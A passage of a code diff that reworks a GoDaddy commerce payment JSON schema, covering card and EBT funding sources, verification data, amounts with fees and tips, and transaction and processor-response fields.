"$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "AVS Results", + "type": "object" + }, + "cvResult": { + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "readOnly": true, + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "scaResult": { + "description": "Strong customer authentication result", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "properties": { + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "type": "integer" + } + }, + "title": "DebitCardProcessorResponse", + "type": "object" + } + ], + "properties": { + "processorType": { + "type": "string" + } + }, + "required": [ + "processorType" ], - "description": "Type of the card" + "title": "DebitCardProcessorResponse", + "type": "object" }, - "source": { - "type": "string", - "description": "Source of the card", + "status": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true + "INITIATED", + "PENDING", + "FAILED", + "COMPLETED", + "VOIDED" + ], + "title": "Transaction Status", + "type": "string" }, - "keySerialNumber": { + "transactionId": { + "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Custom URN format", + "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", + "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" + "x-custom-id": true, + "x-custom-type": true }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true + } + }, + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", + "type": "object", + "x-generic-type": "Transaction" + } + ], + "description": "Represents Adjustment transaction against a payment", + "properties": { + "newAmount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "propertyName": "amountType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "interacMacKSN": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Interac mac key serial number for canada based cards" + "x-currency-type": true, + "x-custom-type": true } }, "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "writeOnly": true, - "description": "Verification data that can be used to verify the customer information", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "city": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "City" + "x-currency-type": true, + "x-custom-type": true }, - "territory": { - "type": "string", - "description": "Territory" + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "country": { - "type": "string", - "description": "Country" + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } + }, + "title": "Tip Amount", + "type": "object" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" } - } - }, - "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/card-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", + ], "properties": { - "signatureRequired": { - "type": "boolean", - "default": false, - "description": "If signature is required for this transaction" - }, - "debit": { - "type": "boolean", - "default": false, - "description": "If card should be processed as debit or not" + "amountType": { + "type": "string" } - } + }, + "title": "Amount", + "type": "object" } }, "required": [ - "cardDetail" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/ebt-card.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", - "properties": { - "cardDetail": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", - "properties": { - "number": { - "type": "string", - "description": "Card number" - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 1 data" - }, - "track2Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 2 data" - }, - "track3Data": { - "type": "string", - "writeOnly": true, - "description": "Card track 3 data" - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" - }, - "encrypted": { - "type": "boolean", - "default": true, - "description": "True if the card number is encrypted", - "writeOnly": true - }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, - "entryDetails": { - "description": "Card entry details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/card-entry-detail.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", - "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", - "default": false, - "writeOnly": true - }, - "entryMethod": { - "type": "string", - "description": "Entry mode for the card", - "enum": [ - "KEYED", - "MSR", - "CL_MSR", - "ICC", - "CL_ICC" - ] - }, - "customerPresent": { - "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false - } - } + "newAmount" + ], + "title": "Adjustment Transaction", + "type": "object", + "x-generic-type": "Transaction" + }, + "readOnly": true, + "type": "array" + }, + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "cashback": { + "description": "Cashback details", + "type": "integer" + }, + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true + }, + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" }, - "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-card/interacmac.v1", + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", "properties": { - "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" } }, "required": [ - "interacMac", - "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - }, - "required": [ - "type", - "number", - "source" - ] - }, - "cardVerificationData": { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", - "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" }, - "territory": { + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, "type": "string", - "description": "Territory" + "writeOnly": true }, - "territoryType": { - "type": "string", + "type": { + "description": "Fee Program type", "enum": [ - "STATE", - "PROVINCE", - "OTHER" + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "example": "SURCHARGE", + "type": "string" } }, "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" } - } - }, - "cardType": { - "type": "string", - "enum": [ - "FOOD_STAMP", - "CASH_BENEFIT", - "ELECTRONIC_VOUCHER" - ] + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" }, - "eVoucherSerial": { - "type": "string" + "type": "array" + }, + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" + }, + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Tip amount details", + "properties": { + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" + }, + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" + } }, - "eVoucherApprovalCode": { - "type": "string" - } + "title": "Tip Amount", + "type": "object" }, - "required": [ - "cardDetail", - "cardType" - ] + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" + } }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/gdpayment-token.v1", + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + }, + "authorizations": { + "description": "Authorizations for the payment", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/authorization.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GoDaddy PaymentToken", - "type": "object", "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", + "description": "Represents transaction against a payment", "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", + "amount": { + "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", + "discriminator": { + "mapping": { + "DETAILED": "./DetailedAmount.yaml", + "SIMPLE": "./SimpleAmount.yaml" + }, + "propertyName": "amountType" + }, "oneOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "amount": { + "description": "Payment amount", + "format": "int64", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", + "type": "string", + "x-currency-type": true, + "x-custom-type": true } - } + }, + "required": [ + "amount", + "currency" + ], + "title": "Simple Amount", + "type": "object" }, { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", - "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] - } - } - } - ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator type" - } - }, - "required": [ - "type" - ] - } - } - } - ], - "properties": { - "token": { - "type": "string", - "description": "Godaddy Payment token", - "writeOnly": true - } - }, - "required": [ - "token" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/applepay-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ApplePayPaymentToken", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/payment-token.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentTokenFundingSource", - "type": "object", - "properties": { - "verificationData": { - "description": "Verification data", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/verification.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "VerificationData", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/cardverification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card VerificationData", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true + "cashback": { + "description": "Cashback details", + "type": "integer" }, - "cardPinKeySerialNumber": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true + "x-currency-type": true, + "x-custom-type": true }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true + "fees": { + "description": "Fees if any", + "items": { + "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "discriminator": { + "mapping": { + "ADDITIONAL": "./SimpleFee.yaml", + "GOVERNED": "./GovernedFee.yaml" + }, + "propertyName": "feeType" + }, + "oneOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "type": { + "description": "Fee type", + "example": "Shipping", + "maxLength": 64, + "minLength": 2, + "type": "string" + } + }, + "required": [ + "amount", + "type" + ], + "title": "SimpleFee", + "type": "object" + }, + { + "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "properties": { + "amount": { + "description": "Fee amount", + "format": "int64", + "type": "integer" + }, + "signature": { + "description": "Signature representing the Fee", + "maxLength": 256, + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Fee Program type", + "enum": [ + "SURCHARGE", + "SERVICE_FEE", + "CONVENIENCE_FEE", + "CASH_DISCOUNT" + ], + "example": "SURCHARGE", + "type": "string" + } + }, + "required": [ + "amount", + "type", + "signature" + ], + "title": "GovernedFee", + "type": "object" + } + ], + "properties": { + "feeType": { + "description": "Fee type discriminator", + "type": "string" + } + }, + "required": [ + "feeType" + ], + "title": "Fee", + "type": "object" + }, + "type": "array" }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true + "subTotal": { + "description": "Sub total details", + "format": "int64", + "type": "integer" }, - "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "tip": { + "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", + "description": "Tip amount details", "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" + "amount": { + "description": "Tip amount", + "format": "int64", + "type": "integer" }, - "postalCode": { - "type": "string", - "description": "Postal Code" + "customerOptedNoTip": { + "default": false, + "description": "Customer opted for no tip", + "type": "boolean" } }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "title": "Tip Amount", + "type": "object" }, - "threeDSecureData": { - "description": "3d secure data information", - "writeOnly": true, - "type": "object", - "properties": { - "eci": { - "type": "string" - }, - "cryptogram": { - "type": "string" - } - } + "total": { + "description": "Total amount", + "format": "int64", + "type": "integer" } - } - }, + }, + "required": [ + "total", + "currency" + ], + "title": "Detailed Amount", + "type": "object" + } + ], + "properties": { + "amountType": { + "type": "string" + } + }, + "title": "Amount", + "type": "object" + }, + "clientContext": { + "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 20, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "context": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "allOf": [ { - "$id": "https://godaddy.com/schemas/commerce/payment/funding-source/token-verification.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token VerificationData", - "type": "object", + "description": "Payment Context details", "properties": { - "billingAddress": { - "description": "Address for verification", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/address.v1", + "channelId": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address", - "type": "object", - "properties": { - "line1": { - "type": "string", - "description": "Address line 1" - }, - "line2": { - "type": "string", - "description": "Address line 2" - }, - "city": { - "type": "string", - "description": "City" - }, - "territory": { - "type": "string", - "description": "Territory" - }, - "territoryType": { - "type": "string", - "enum": [ - "STATE", - "PROVINCE", - "OTHER" - ], - "description": "Territory type" - }, - "country": { - "type": "string", - "description": "Country" - }, - "postalCode": { - "type": "string", - "description": "Postal Code" - } - }, - "required": [ - "line1", - "city", - "territory", - "territoryType", - "country", - "postalCode" - ] + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "merchantInitiatedTransaction": { + "default": false, + "description": "True if initiated by the Merchant on behalf of the customer", + "type": "boolean" } - } + }, + "title": "PaymentContext", + "type": "object" } ], + "description": "Transaction context", + "title": "TransactionContext", + "type": "object" + }, + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "type": "string" + }, + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + }, + "processorResponse": { + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", "discriminator": { - "propertyName": "type", "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, - "properties": { - "type": { - "type": "string", - "description": "Discriminator 